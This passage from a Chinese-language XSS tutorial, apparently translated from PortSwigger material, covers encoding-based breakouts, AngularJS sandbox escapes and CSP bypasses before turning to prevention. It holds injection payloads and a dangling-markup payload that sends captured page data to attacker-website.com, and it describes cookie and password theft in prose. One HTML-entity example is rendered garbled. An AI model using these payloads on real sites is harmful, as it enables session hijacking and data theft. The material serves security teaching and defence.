当浏览器解析出响应中的 HTML 标记和属性后,在进一步处理标记属性值之前,它将对其进行 HTML 解码。如果服务器端应用程序阻止或清理成功进行 XSS 利用所需的某些字符,则通常可以通过对这些字符进行 HTML 编码来绕过输入验证。
例如,如果 XSS 上下文如下:
<a href="#" onclick="... var input='controllable data here'; ...">
并且应用程序会阻止或转义单引号字符,则可以使用以下有效负载来跳出 JavaScript 字符串并执行自己的脚本:
'-alert(document.domain)-'
'
序列是表示撇号或单引号的 HTML 实体。由于浏览器在解释 JavaScript 之前对 onclick 属性的值进行 HTML 解码,因此实体被解码为引号,引号成为字符串分隔符,因此攻击成功。
9.3.4 JavaScript 模板文本中的 XSS
JavaScript 模板文本是允许嵌入 JavaScript 表达式的字符串文本。嵌入的表达式被计算,并且通常连接到周围的文本中。模板文本封装在反引号而不是普通引号中,嵌入的表达式使用 ${...}
语法进行标识。
例如,以下脚本将打印包含用户显示名称的欢迎消息:
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
当 XSS 上下文进入 JavaScript 模板文本时,无需终止文本。相反,您只需使用 ${...}
语法来嵌入一个 JavaScript 表达式,该表达式将在处理文本时执行。例如,如果 XSS 上下文如下所示:
<script>
...
var input = `controllable data here`;
...
</script>
然后,您可以使用以下有效负载来执行 JavaScript,而无需终止模板文本:
${alert(document.domain)}
9.4 通过客户端模板注入的 XSS
一些网站使用客户端模板框架(如 AngularJS)来动态呈现网页。如果他们以不安全的方式将用户输入嵌入到这些模板中,攻击者可能能够注入自己的恶意模板表达式,从而发起 XSS 攻击。
在本节中将介绍客户端模板注入漏洞以及如何利用它们进行 XSS 攻击。
什么是客户端模板注入?
当使用客户端模板框架的应用程序将用户输入动态嵌入网页时,会出现客户端模板注入漏洞。在呈现页面时,框架会扫描该页面以查找模板表达式,并执行它遇到的任何表达式。攻击者可以通过提供启动跨站点脚本 (XSS) 攻击的恶意模板表达式来利用此漏洞。
9.4.1 什么是 AngularJS 沙箱?
AngularJS 沙箱是一种机制,可防止访问 AngularJS 模板表达式中的潜在危险对象,例如window
或document
。它还可以防止访问具有潜在危险的属性,例如__proto__
。尽管 AngularJS 团队不将其视为安全边界,但更广泛的开发人员社区通常不这么认为。尽管绕过沙盒最初具有挑战性,但安全研究人员已经发现了许多方法。因此,它最终在 1.6 版中从 AngularJS 中删除。但是,许多旧版应用程序仍然使用旧版本的 AngularJS,因此可能容易受到攻击。
AngularJS 沙箱是如何工作的?
AngularJS 沙箱通过解析表达式、重写 JavaScript,然后使用各种函数来测试重写后的代码是否包含任何危险对象。例如,ensureSafeObject()
函数检查给定对象是否引用自身。例如,这是检测window
对象的一种方法。Function
构造函数以大致相同的方式被检测,即通过检查构造函数属性是否引用自身。ensureSafeMemberName()
函数检查对象的每个属性访问,如果它包含危险属性,如__proto__
或__lookupGetter__
,则该对象将被阻止。ensureSafeFunction()
函数阻止call()
、apply()
、bind()
、constructor()
被调用。
9.4.2 AngularJS 沙箱逃逸是如何工作的?
沙盒逃逸涉及欺骗沙盒,使其认为恶意表达是良性的。最著名的转义在表达式中全局使用修改后的 charAt() 函数:
'a'.constructor.prototype.charAt=[].join
最初被发现时,AngularJS 并没有阻止这种修改。该攻击通过使用 [].join
方法覆盖函数来实现,这会导致 charAt()
函数返回发送给它的所有字符,而不是特定的单个字符。由于 AngularJS 中 isIdent()
函数的逻辑,它会将它认为的单个字符与多个字符进行比较。由于单个字符始终小于多个字符,isIdent()
函数始终返回 true,如以下示例所示:
isIdent = function(ch) {
return ('a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || '_' === ch || ch === '$');
}
isIdent('x9=9a9l9e9r9t9(919)')
一旦 isIdent()
函数被欺骗,您就可以注入恶意 JavaScript。例如,允许使用 $eval('x=alert(1)')
等表达式,因为 AngularJS 将每个字符视为标识符。请注意,我们需要使用 AngularJS 的 $eval()
函数,因为覆盖 charAt()
函数只有在执行沙箱代码后才会生效。然后,此技术将绕过沙箱并允许任意 JavaScript 执行。
9.4.2.1 构造高级 AngularJS 沙箱逃逸
至此,你已经了解了基本的沙箱逃逸是如何工作的,但你可能会遇到对允许使用的字符有更多限制的站点。例如,一个站点可能会阻止你使用双引号或单引号。在这种情况下,你需要使用诸如String.fromCharCode()
这样的函数来生成你的字符。虽然 AngularJS 阻止在表达式中访问String
构造函数,但你可以通过使用字符串的 constructor
属性来绕过这个限制。这显然需要一个字符串,所以要构造这样的攻击,你需要找到一种不使用单引号或双引号创建字符串的方法。
在标准的沙箱逃逸中,你会使用$eval()
来执行你的 JavaScript 有效负载,但在下面的实验中,$eval()
函数是未定义的。幸运的是,我们可以使用orderBy
过滤器来代替。orderBy
过滤器的典型语法如下:
[123]|orderBy:'Some string'
请注意,|
的含义与 JavaScript 中的含义不同。通常,这是一个按位OR
运算,但在 AngularJS 中,它表示一个 filter
操作。在上面的代码中,我们将左侧的数组 [123]
发送到右侧的 orderBy
过滤器。冒号表示要发送到筛选器的参数,在本例中为字符串。orderBy
过滤器通常用于对对象进行排序,但它也接受一个表达式,这意味着我们可以使用它来传递有效负载。
9.4.3 AngularJS CSP 绕过如何工作?
内容安全策略 (CSP) 绕过的工作方式与标准沙盒转义类似,但通常涉及一些 HTML 注入。当 CSP 模式在 AngularJS 中处于活动状态时,它会以不同的方式解析模板表达式,并避免使用 Function
构造函数。这意味着上述标准沙盒转义将不再有效。
根据特定策略,CSP 将阻止 JavaScript 事件。但是,AngularJS 定义了自己的事件,可以改用这些事件。在事件中,AngularJS 定义了一个特殊的 $event
对象,它只引用浏览器事件对象。您可以使用此对象执行 CSP 绕过。在 Chrome 上,$event/event
对象上有一个名为 path
的特殊属性。此属性包含导致执行事件的对象数组。最后一个属性始终是 window
对象,我们可以使用它来执行沙箱转义。通过将此数组传递给 orderBy
过滤器,我们可以枚举数组并使用最后一个元素(window
对象)来执行全局函数,例如 alert()
以下代码演示了这一点:
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
请注意,使用了 from()
函数,它允许您将对象转换为数组,并在该数组的每个元素上调用给定函数(在第二个参数中指定)。在本例中,我们调用 alert()
函数。我们不能直接调用该函数,因为 AngularJS 沙箱会解析代码并检测 window
对象是否被用于调用函数。相反,使用 from()
函数可以有效地从沙箱中隐藏 window
对象,从而允许我们注入恶意代码。
9.4.3.1 使用 AngularJS 沙箱逃逸绕过内容安全策略(Content Security Policy,CSP)
考虑从 AngularJS 沙箱中隐藏 window
对象的各种方法。一种方法是使用 array.map()
函数,如下所示:
[1].map(alert)
map()
接受一个函数作为参数,并将为数组中的每个项目调用它。这将绕过沙箱,因为使用了对 alert()
函数的引用,而没有显式引用window
。尝试在不触发 AngularJS window
检测的情况下执行 alert()
的各种方法。
9.4.4 如何防止客户端模板注入漏洞
为防止客户端模板注入漏洞,请避免使用不受信任的用户输入来生成模板或表达式。如果这不切实际,请考虑在将模板表达式语法嵌入到客户端模板中之前,从用户输入中筛选出模板表达式语法。
请注意,HTML 编码不足以防止客户端模板注入攻击,因为框架在查找和执行模板表达式之前会执行相关内容的 HTML 解码。
10. 利用跨站点脚本漏洞
证明您发现了跨站点脚本漏洞的传统方法是使用 alert()
函数创建弹出窗口。这并不是因为 XSS 与弹出窗口有任何关系;它只是一种证明您可以在给定域上执行任意 JavaScript 的方法。您可能会注意到有些人使用 alert(document.domain)
这是一种明确 JavaScript 正在哪个域上执行的方法。
有时,您需要更进一步,通过提供完整的漏洞利用来证明 XSS 漏洞是真正的威胁。在本节中,我们将探讨利用 XSS 漏洞的三种最流行和最强大的方法。
10.1 XSS 窃取 cookie
窃取 cookie 是利用 XSS 的一种传统方式。大多数 Web 应用程序使用 Cookie 进行会话处理。您可以利用跨站点脚本漏洞将受害者的 cookie 发送到您自己的域,然后手动将 cookie 注入浏览器并模拟受害者。
在实践中,此方法具有一些明显的局限性:
- 受害者可能未登录。
- 许多应用程序使用 HttpOnly 标志向 JavaScript 隐藏其 Cookie。
- 会话可能会因其他因素(如用户的 IP 地址)而被锁定。
- 会话可能会在您能够劫持它之前超时。
10.2 XSS 捕获密码
如今,许多用户都有可以自动填充密码的密码管理器。您可以通过创建密码输入、读出自动填充的密码并将其发送到您自己的域来利用这一点。这种技术避免了与窃取 cookie 相关的大多数问题,甚至可以访问受害者重复使用相同密码的所有其他帐户。
这种技术的主要缺点是它仅适用于拥有执行密码自动填充的密码管理器的用户。(当然,如果用户没有保存密码,您仍然可以尝试通过现场网络钓鱼攻击来获取其密码,但这并不完全相同。
10.3 XSS 绕过 CSRF 保护
XSS 使攻击者能够执行合法用户可以在网站上执行的几乎任何作。通过在受害者的浏览器中执行任意 JavaScript,XSS 允许您执行各种作,就像您是受害者用户一样。例如,您可以让受害者发送消息、接受好友请求、向源代码存储库提交后门或转移一些比特币。
某些网站允许登录用户更改其电子邮件地址,而无需重新输入密码。如果您在其中一个站点上发现了 XSS 漏洞,则可以利用它来窃取 CSRF 令牌。使用令牌,您可以将受害者的电子邮件地址更改为您控制的电子邮件地址。然后,您可以触发密码重置以获取对该账户的访问权限。
这种利用方式将 XSS(用于窃取 CSRF 令牌)与通常 CSRF 攻击的目标功能结合起来。虽然传统的 CSRF 是一种“单向”漏洞,攻击者可以诱导受害者发送请求但无法看到响应,而 XSS 实现了“双向”通信。这使得攻击者既可以发送任意请求又可以读取响应,从而形成一种混合攻击,绕过了反 CSRF 防御。
注意
CSRF 令牌对 XSS 无效,因为 XSS 允许攻击者直接从响应中读取令牌值。
11. 悬空标记注入
在本节中,我们将解释悬空标记注入、典型的漏洞利用的工作原理以及如何防止悬空标记注入攻击。
什么是悬空标记注入?
悬空标记注入是一种在不可能进行完整的跨站点脚本攻击的情况下跨域捕获数据的技术。
假设应用程序以不安全的方式将攻击者可控制的数据嵌入到其响应中:
<input type="text" name="input" value="CONTROLLABLE DATA HERE
假设应用程序也不对>
或"
字符进行过滤或转义。攻击者可以使用以下语法突破带引号的属性值和封闭标签,并返回到 HTML 上下文:
">
在这种情况下,攻击者自然会尝试执行 XSS。但是,假设由于输入过滤器、内容安全策略或其他障碍,常规 XSS 攻击是不可能的。在这里,可能仍然可以使用如下所示的有效负载来提供悬空标记注入攻击:
"><img src='//attacker-website.com?
此有效负载创建一个 img
标签,并定义包含攻击者服务器上 URL 的 src
属性的开头。请注意,攻击者的有效负载不会关闭 src
属性,该属性是 “悬空” 的。当浏览器解析响应时,它将向前看,直到遇到一个引号来终止属性。该字符之前的所有内容都将被视为 URL 的一部分,并将在 URL 查询字符串中发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将进行 URL 编码。
攻击的后果是,攻击者可以在注入点之后捕获应用程序响应的一部分,其中可能包含敏感数据。根据应用程序的功能,这可能包括 CSRF 令牌、电子邮件消息或财务数据。
发出外部请求的任何属性都可用于悬空标记注入。
11.1 如何防止悬空标记注入攻击
您可以使用相同的通用防御措施来防止跨站点脚本,方法是在输出时对数据进行编码并在到达时验证输入,从而防止悬空标记注入攻击。
您还可以使用内容安全策略 (CSP) 缓解一些悬空标记注入攻击。例如,您可以使用阻止 img
等标签加载外部资源的策略来防止某些(但不是全部)攻击。
注意
Chrome 浏览器已决定通过阻止 img
等标签定义包含原始字符(如尖括号和换行符)的 URL 来应对悬空标记注入攻击。这将防止攻击,因为捕获的数据通常包含这些原始字符,因此会阻止攻击。
12. 内容安全策略 CSP
在本节中将解释什么是内容安全策略,并介绍如何使用 CSP 来缓解一些常见攻击。
什么是 CSP(内容安全策略)?
内容安全策略(CSP)是一种浏览器安全机制,旨在缓解跨站脚本攻击(XSS)和其他一些攻击。它通过限制页面可以加载的资源(如脚本和图像)以及限制页面是否可以被其他页面嵌入框架来实现这一目的。
要启用内容安全策略(CSP),响应需要包含一个名为Content-Security-Policy
的 HTTP 响应头,其值包含策略。策略本身由一个或多个指令组成,用分号分隔。
12.1 使用 CSP 缓解 XSS 攻击
以下指令将仅允许从与页面本身相同的源加载脚本:
script-src 'self'
以下指令将仅允许从特定域加载脚本:
script-src https://scripts.normal-website.com
允许来自外部域的脚本时应小心。如果攻击者有任何方法可以控制从外部域提供的内容,那么他们可能能够进行攻击。例如,不使用每个客户特定 URL 的内容分发网络(CDN),如ajax.googleapis.com
,不应被信任,因为第三方可以将内容放入其域中。
除了将特定域列入白名单之外,内容安全策略还提供了另外两种指定受信任资源的方式:nonces
和hashes
。
- CSP 指令可以指定 nonce(随机值),并且必须在加载脚本的标记中使用相同的值。如果值不匹配,则脚本将不会执行。为了有效地作为控制措施,必须在每次页面加载时安全地生成 nonce,并且攻击者无法猜到。
- CSP 指令可以指定受信任脚本内容的哈希值。如果实际脚本的哈希值与指令中指定的值不匹配,则脚本将不会执行。如果脚本的内容发生更改,那么您当然需要更新指令中指定的哈希值。
CSP 阻止script
等资源是很常见的。但是,许多 CSP 确实允许图像请求。这意味着您通常可以使用 img
元素向外部服务器发出请求,例如,为了泄露 CSRF 令牌。
某些浏览器(如 Chrome)具有内置的悬空标记缓解功能,该功能将阻止包含某些字符(例如原始的、未编码的新行或尖括号)的请求。
一些策略更加严格,会阻止所有形式的外部请求。然而,仍然可以通过引发一些用户交互来绕过这些限制。要绕过这种形式的策略,你需要注入一个 HTML 元素,当该元素被点击时,它将存储并将注入元素所包含的所有内容发送到外部服务器。
12.2 使用 CSP 缓解悬空标记攻击
以下指令将仅允许从与页面本身相同的来源加载图像:
img-src 'self'
以下指令将仅允许从特定域加载图像:
img-src https://images.normal-website.com
请注意,这些策略将防止一些悬空标记攻击,因为无需用户交互即可捕获数据的一种简单方法是使用 img
标记。但是,它不会阻止其他漏洞,例如,那些注入带有悬空 href
属性的锚标签的漏洞。
12.3 通过策略注入绕过 CSP
您可能会遇到一个将输入反映到实际策略中的网站,很可能是在 report-uri
指令中。如果站点反映了您可以控制的参数,则可以注入分号以添加您自己的 CSP 指令。通常,此 report-uri
指令是列表中的最后一个指令。这意味着您需要覆盖现有指令才能利用此漏洞并绕过策略。
通常,无法覆盖现有的 script-src
指令。但是,Chrome 最近引入了 script-src-elem
指令,该指令允许您控制script
元素,但不能控制事件。至关重要的是,这个新指令允许您覆盖现有的 script-src
指令。
12.4 使用 CSP 防止点击劫持
以下指令将仅允许该页面由来自同一来源的其他页面构成:
frame-ancestors 'self'
以下指令将完全阻止 frame:
frame-ancestors 'none'
使用内容安全策略来防止点击劫持比使用 X-Frame-Options 标头更灵活,因为您可以指定多个域并使用通配符。例如:
frame-ancestors 'self' https://normal-website.com https://*.robust-website.com
内容安全策略(CSP)也会验证父级框架层次结构中的每个框架,而X-Frame-Options仅验证顶级框架。
建议使用 CSP 来防止点击劫持攻击。您还可以将其与 X-Frame-Options
标头结合使用,以在不支持 CSP 的旧浏览器(如 Internet Explorer)上提供保护。
13. 如何防止 XSS
在本节中,我们将描述一些防止跨站脚本漏洞的一般原则,以及使用各种常见技术来防范 XSS 攻击的方法。
跨站脚本预防通常可以通过两层防御来实现:
- 输出时编码数据
- 输入到达时进行验证
您可以使用 Burp Scanner 扫描您的网站以查找包括 XSS 在内的众多安全漏洞。Burp 先进的扫描逻辑复制了熟练攻击者的行为,并且能够相应地实现对 XSS 漏洞的高覆盖率。您可以使用 Burp Scanner 来确保您针对 XSS 攻击的防御措施有效。
13.1 输出时编码数据
编码应在用户可控制的数据写入页面之前直接应用,因为您正在写入的上下文决定了您需要使用哪种编码。例如,JavaScript 字符串中的值需要与 HTML 上下文中的值不同类型的转义。
在 HTML 上下文中,您应该将非白名单值转换为 HTML 实体:
<
转换为:<
>
转换为:>
在 JavaScript 字符串上下文中,非字母数字值应进行 Unicode 转义:
<
转换为:\u003c
>
转换为:\u003e
有时你需要按正确的顺序应用多层编码。例如,要将用户输入安全地嵌入事件处理程序中,你需要同时处理 JavaScript 上下文和 HTML 上下文。因此,你需要先对输入进行 Unicode 转义,然后再进行 HTML 编码。
<a href="#" onclick="x='This string needs two layers of escaping'">test</a>
13.2 输入时验证内容
编码可能是 XSS 防御中最重要的一环,但在每种情况下仅靠编码并不足以防止 XSS 漏洞。你还应在首次从用户接收输入时尽可能严格地验证输入。
输入验证的示例包括:
- 如果用户提交将在响应中返回的 URL,验证其是否以安全协议(如 HTTP 和 HTTPS)开头。否则,有人可能会使用像
javascript
或data
这样的有害协议来攻击你的网站。 - 如果用户提供预期为数字的值,验证该值实际上是否包含整数。
- 验证输入仅包含一组预期的字符。
理想情况下,输入验证应通过阻止无效输入来起作用。尝试清理无效输入使其变为有效输入的替代方法更容易出错,应尽可能避免。
白名单与黑名单
输入验证通常应使用白名单而不是黑名单。例如,与其尝试列出所有有害协议(javascript
、data
等),不如简单地列出安全协议(HTTP
、HTTPS
)并禁止列表外的任何内容。这将确保当新的有害协议出现时你的防御不会被攻破,并使其不易受到试图混淆无效值以逃避黑名单的攻击。
13.3 允许“安全”的 HTML
应尽可能避免允许用户发布 HTML 标记,但有时这是业务需求。例如,博客网站可能允许发布包含一些有限 HTML 标记的评论。
经典方法是尝试过滤掉潜在有害的标签和 JavaScript。可以尝试使用安全标签和属性的白名单来实现这一点,但由于浏览器解析引擎的差异以及诸如变异 XSS 之类的怪癖,这种方法极难安全地实现。
最不坏的选择是使用在用户浏览器中执行过滤和编码的 JavaScript 库,例如 DOMPurify
。其他库允许用户以 Markdown 格式提供内容并将 Markdown 转换为 HTML。不幸的是,所有这些库都不时存在 XSS 漏洞,所以这不是一个完美的解决方案。如果使用其中一个,应该密切关注安全更新。
注意
除了 JavaScript,在某些情况下,其他内容(如 CSS 甚至常规 HTML)也可能是有害的。
13.4 使用模板引擎防止跨站脚本攻击(XSS)
许多现代网站使用诸如 Twig 和 Freemarker 这样的服务器端模板引擎在 HTML 中嵌入动态内容。这些通常定义了它们自己的转义系统。例如,在 Twig 中,你可以使用e()
过滤器,并带有一个定义上下文的参数:
{{ user.firstname | e('html') }}
其他一些模板引擎,如 Jinja 和 React,默认情况下会转义动态内容,这有效地防止了大多数 XSS 的发生。
当你评估是否使用给定的模板引擎或框架时,我们建议仔细审查转义功能。
注意
如果您直接将用户输入连接到模板字符串中,您将容易受到服务器端模板注入的攻击,这通常比跨站脚本攻击(XSS)更严重。
13.5 在PHP中防止XSS
在PHP中,有一个内置的函数来编码实体,名为htmlentities
。当在HTML上下文中时,您应该调用此函数来转义输入。该函数应使用三个参数调用:
- 您的输入字符串。
ENT_QUOTES
,这是一个标志,用于指定所有引号都应进行编码。- 字符集,在大多数情况下应为 UTF-8。
举例来说:
<?php echo htmlentities($input, ENT_QUOTES, 'UTF-8');?>
当在JavaScript字符串上下文中时,您需要对输入进行Unicode转义,如前所述。不幸的是,PHP没有提供对字符串进行Unicode转义的API。下面是一些在PHP中执行此操作的代码:
<?php
function jsEscape($str) {
$output = '';
$str = str_split($str);
for($i=0;$i<count($str);$i++) {
$chrNum = ord($str[$i]);
$chr = $str[$i];
if($chrNum === 226) {
if(isset($str[$i+1]) && ord($str[$i+1]) === 128) {
if(isset($str[$i+2]) && ord($str[$i+2]) === 168) {
$output .= '\u2028';
$i += 2;
continue;
}
if(isset($str[$i+2]) && ord($str[$i+2]) === 169) {
$output .= '\u2029';
$i += 2;
continue;
}
}
}
switch($chr) {
case "'":
case '"':
case "\n";
case "\r";
case "&";
case "\\";
case "<":
case ">":
$output .= sprintf("\\u%04x", $chrNum);
break;
default:
$output .= $str[$i];
break;
}
}
return $output;
}
?>
以下是如何在PHP中使用jsEscape
函数:
<script>x = '<?php echo jsEscape($_GET['x'])?>';</script>
或者,您可以使用模板引擎。
13.6 在 JavaScript 中防止客户端 XSS 攻击
要在JavaScript中转义HTML上下文中的用户输入,您需要自己的HTML编码器,因为JavaScript不提供编码HTML的API。下面是一些将字符串转换为HTML实体的示例JavaScript代码:
function htmlEncode(str){
return String(str).replace(/[^\w. ]/gi, function(c){
return '&#'+c.charCodeAt(0)+';';
});
}
然后,您将按如下方式使用此函数:
<script>document.body.innerHTML = htmlEncode(untrustedValue)</script>
如果输入在JavaScript字符串中,则需要一个执行Unicode转义的编码器。下面是一个示例Unicode编码器:
function jsEscape(str){
return String(str).replace(/[^\w. ]/gi, function(c){
return '\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4);
});
}
然后,您将按如下方式使用此函数:
<script>document.write('<script>x="'+jsEscape(untrustedValue)+'";<\/script>')</script>
13.7 在jQuery中防止XSS
jQuery中最常见的XSS形式是将用户输入传递给jQuery选择器。Web开发人员经常使用location.hash
并将其传递给选择器,这将导致XSS,因为jQuery将呈现HTML。jQuery认识到了这个问题,并修补了他们的选择器逻辑,以检查输入是否以哈希开头。现在,jQuery只会在第一个字符是<
的情况下呈现HTML。如果您将不受信任的数据传递给jQuery选择器,请确保使用上面的jsEscape
函数正确地转义该值。
13.8 使用内容安全策略(CSP)缓解XSS
内容安全策略(CSP)是防止跨站点脚本攻击的最后一道防线。如果XSS防御失败,您可以使用CSP通过限制攻击者可以做的事情来缓解XSS。
CSP允许您控制各种事情,例如是否可以加载外部脚本以及是否将执行内联脚本。要部署CSP,您需要包含一个名为Content-Security-Policy
的HTTP响应标头,其中包含包含您的策略的值。
CSP示例如下:
default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';
此策略指定只能从与主页相同的源加载图像和脚本等资源。因此,即使攻击者可以成功注入XSS有效负载,他们也只能从当前源加载资源。这大大降低了攻击者利用XSS漏洞的机会。
如果您需要加载外部资源,请确保只允许不会帮助攻击者利用您的站点的脚本。例如,如果您将某些域列入白名单,则攻击者可以从这些域加载任何脚本。在可能的情况下,尝试将资源托管在自己的域上。
如果这是不可能的,那么你可以使用基于哈希或随机数的策略来允许不同域上的脚本。nonce是作为脚本或资源的属性添加的随机字符串,仅当随机字符串与服务器生成的字符串匹配时才会执行。攻击者无法猜测随机化的字符串,因此无法调用具有有效随机数的脚本或资源,因此资源将不会被执行。
14. 有关跨站点脚本的常见问题
XSS 漏洞有多常见?XSS 漏洞非常常见,XSS 可能是出现频率最高的 Web 安全漏洞。
XSS 攻击有多常见?很难获得有关真实世界 XSS 攻击的可靠数据,但与其他漏洞相比,它可能被利用的频率较低。
XSS 和 CSRF 有什么区别?XSS 涉及导致网站返回恶意 JavaScript,而 CSRF 涉及诱使受害者用户执行他们不打算执行的作。
XSS 和 SQL 注入有什么区别?XSS 是针对其他应用程序用户的客户端漏洞,而 SQL 注入是针对应用程序数据库的服务器端漏洞。
如何在 PHP 中防止 XSS?使用允许的字符白名单过滤您的输入,并使用类型提示或类型转换。对于 HTML 上下文,使用 htmlentities
和 ENT_QUOTES
或 JavaScript 上下文的 JavaScript Unicode 转义来转义您的输出。
如何在 Java 中防止 XSS?使用允许字符的白名单过滤您的输入,并使用 Google Guava 等库对 HTML 上下文的输出进行 HTML 编码,或对 JavaScript 上下文使用 JavaScript Unicode 转义。